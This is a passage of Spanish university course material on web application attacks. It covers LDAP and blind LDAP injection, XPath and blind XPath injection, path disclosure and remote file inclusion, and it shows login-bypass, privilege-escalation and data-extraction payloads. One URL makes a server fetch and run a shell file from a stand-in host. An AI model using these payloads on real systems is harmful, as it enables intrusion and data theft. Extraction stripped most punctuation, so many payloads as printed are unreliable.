Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
